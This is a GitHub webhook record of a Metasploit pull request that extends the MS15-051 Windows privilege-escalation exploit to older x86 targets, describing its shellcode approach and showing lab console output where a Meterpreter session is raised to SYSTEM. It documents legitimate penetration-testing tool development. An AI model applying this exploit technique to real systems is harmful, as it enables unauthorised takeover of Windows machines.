{"action":"opened","number":5595,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5595","id":38441608,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5595","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5595.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5595.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5595","number":5595,"state":"open","locked":false,"title":"Support Older x86 Targets for MS15-051","user":{"login":"zeroSteiner","id":2058303,"avatar_url":"https://avatars.githubusercontent.com/u/2058303?v=3","gravatar_id":"","url":"https://api.github.com/users/zeroSteiner","html_url":"https://github.com/zeroSteiner","followers_url":"https://api.github.com/users/zeroSteiner/followers","following_url":"https://api.github.com/users/zeroSteiner/following{/other_user}","gists_url":"https://api.github.com/users/zeroSteiner/gists{/gist_id}","starred_url":"https://api.github.com/users/zeroSteiner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zeroSteiner/subscriptions","organizations_url":"https://api.github.com/users/zeroSteiner/orgs","repos_url":"https://api.github.com/users/zeroSteiner/repos","events_url":"https://api.github.com/users/zeroSteiner/events{/privacy}","received_events_url":"https://api.github.com/users/zeroSteiner/received_events","type":"User","site_admin":false},"body":"This makes some changes to the ```ms15_051_client_copy_image``` exploit to support additional targets. The shellcode uses the find and replace method to avoid needing a static offset and x86 targets where the ```user32!gSharedInfo``` symbol can't be resolved will attempt to pull it out of the ```user32!User32InitializeImmEntryTable``` function.\r\n\r\nTargets I tested it on include:\r\n  * Windows XP SP3 (32-bit) 5.1.2600.6514 (Works)\r\n  * Windows Server 2003 Standard SP2 (32-bit) 5.2.3790.5445 (Works)\r\n  * Windows 7 SP1 (64-bit) 6.1.7601.17535 (Works)\r\n  * Windows 7 SP1 (32-bit) 6.1.7601.18388 (Works)\r\n  * Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works)\r\n\r\nOne target I did not have access to test that would be great if someone else could try is Server 2008 Enterprise SP2 (32-bit), it was marked as not working previously but it may have more luck now.\r\n\r\nTesting steps:\r\n - [ ] Test on a system which previously did not work (XP or 2003)\r\n - [ ] Ensure pre-existing targets continue to work correctly (Windows 7 / Server 2008 x64)\r\n - [ ] Rebuild the new binaries for the merge (I didn't include them)\r\n\r\nOutput from testing on Windows XP SP3:\r\n```\r\nmsf-git (S:2 J:1) exploit(ms15_051_client_copy_image) > sessions -i 5\r\n[*] Starting interaction with 5...\r\n\r\nmeterpreter > sysinfo\r\nComputer        : NOOB-07797B4D0D\r\nOS              : Windows XP (Build 2600, Service Pack 3).\r\nArchitecture    : x86\r\nSystem Language : en_US\r\nDomain          : WORKGROUP\r\nLogged On Users : 2\r\nMeterpreter     : x86/win32\r\nmeterpreter > getuid\r\nServer username: NOOB-07797B4D0D\\n00b\r\nmeterpreter > getsystem\r\n[-] priv_elevate_getsystem: Operation failed: Access is denied.\r\nmeterpreter > background \r\n[*] Backgrounding session 5...\r\nmsf-git (S:2 J:1) exploit(ms15_051_client_copy_image) > exploit\r\n\r\n[*] [2015.06.24-08:47:14] win32k.sys file version: 5.1.2600.6514 branch: 65\r\n[*] [2015.06.24-08:47:14] Launching notepad to host the exploit...\r\n[+] [2015.06.24-08:47:15] Process 1192 launched.\r\n[*] [2015.06.24-08:47:15] Reflectively injecting the exploit DLL into 1192...\r\n[*] [2015.06.24-08:47:15] Injecting exploit into 1192...\r\n[*] [2015.06.24-08:47:15] Exploit injected. Injecting payload into 1192...\r\n[*] [2015.06.24-08:47:16] Payload injected. Executing exploit...\r\n[*] [2015.06.24-08:47:16] Sending stage (884270 bytes) to 192.168.90.178\r\n[+] [2015.06.24-08:47:16] Exploit finished, wait for (hopefully privileged) payload execution to complete.\r\nmsf-git (S:2 J:1) exploit(ms15_051_client_copy_image) > [*] Meterpreter session 6 opened (192.168.90.1:4444 -> 192.168.90.178:1034) at 2015-06-24 08:47:17 -0400\r\n\r\nmsf-git (S:3 J:1) exploit(ms15_051_client_copy_image) > sessions -i 6\r\n[*] Starting interaction with 6...\r\n\r\nmeterpreter > sysinfo\r\nComputer        : NOOB-07797B4D0D\r\nOS              : Windows XP (Build 2600, Service Pack 3).\r\nArchitecture    : x86\r\nSystem Language : en_US\r\nDomain          : WORKGROUP\r\nLogged On Users : 2\r\nMeterpreter     : x86/win32\r\nmeterpreter > getuid\r\nServer username: NT AUTHORITY\\SYSTEM\r\nmeterpreter > \r\n```\r\n\r\nThanks!","created_at":"2015-06-24T13:29:13Z","updated_at":"2015-06-24T13:29:13Z","closed_at":null,"merged_at":null,"merge_commit_sha":null,"assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5595/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5595/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5595/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/f07b7af2c9520bc89226ba39e8857fa7812b6f5a","head":{"label":"zeroSteiner:ms15-051-old","ref":"ms15-051-old","sha":"f07b7af2c9520bc89226ba39e8857fa7812b6f5a","user":{"login":"zeroSteiner","id":2058303,"avatar_url":"https://avatars.githubusercontent.com/u/2058303?v=3","gravatar_id":"","url":"https://api.github.com/users/zeroSteiner","html_url":"https://github.com/zeroSteiner","followers_url":"https://api.github.com/users/zeroSteiner/followers","following_url":"https://api.github.com/users/zeroSteiner/following{/other_user}","gists_url":"https://api.github.com/users/zeroSteiner/gists{/gist_id}","starred_url":"https://api.github.com/users/zeroSteiner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zeroSteiner/subscriptions","organizations_url":"https://api.github.com/users/zeroSteiner/orgs","repos_url":"https://api.github.com/users/zeroSteiner/repos","events_url":"https://api.github.com/users/zeroSteiner/events{/privacy}","received_events_url":"https://api.github.com/users/zeroSteiner/received_events","type":"User","site_admin":false},"repo":{"id":5876221,"name":"metasploit-framework","full_name":"zeroSteiner/metasploit-framework","owner":{"login":"zeroSteiner","id":2058303,"avatar_url":"https://avatars.githubusercontent.com/u/2058303?v=3","gravatar_id":"","url":"https://api.github.com/users/zeroSteiner","html_url":"https://github.com/zeroSteiner","followers_url":"https://api.github.com/users/zeroSteiner/followers","following_url":"https://api.github.com/users/zeroSteiner/following{/other_user}","gists_url":"https://api.github.com/users/zeroSteiner/gists{/gist_id}","starred_url":"https://api.github.com/users/zeroSteiner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zeroSteiner/subscriptions","organizations_url":"https://api.github.com/users/zeroSteiner/orgs","repos_url":"https://api.github.com/users/zeroSteiner/repos","events_url":"https://api.github.com/users/zeroSteiner/events{/privacy}","received_events_url":"https://api.github.com/users/zeroSteiner/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/zeroSteiner/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/zeroSteiner/metasploit-framework","forks_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/forks","keys_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/events","assignees_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/merges","archive_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/zeroSteiner/metasploit-framework/releases{/id}","created_at":"2012-09-19T18:27:22Z","updated_at":"2015-03-21T15:18:31Z","pushed_at":"2015-06-24T13:20:39Z","git_url":"git://github.com/zeroSteiner/metasploit-framework.git","ssh_url":"git@github.com:zeroSteiner/metasploit-framework.git","clone_url":"https://github.com/zeroSteiner/metasploit-framework.git","svn_url":"https://github.com/zeroSteiner/metasploit-framework","homepage":"http://www.metasploit.com/","size":277777,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"cf04e7260819c166ae102824ead5f195fe6f81a5","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-06-24T11:56:38Z","pushed_at":"2015-06-24T13:29:13Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1071857,"stargazers_count":3966,"watchers_count":3966,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3172,"mirror_url":null,"open_issues_count":216,"forks":3172,"open_issues":216,"watchers":3966,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5595"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5595"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5595"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5595/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5595/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5595/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/f07b7af2c9520bc89226ba39e8857fa7812b6f5a"}},"merged":false,"mergeable":null,"mergeable_state":"unknown","merged_by":null,"comments":0,"review_comments":0,"commits":1,"additions":89,"deletions":70,"changed_files":2}}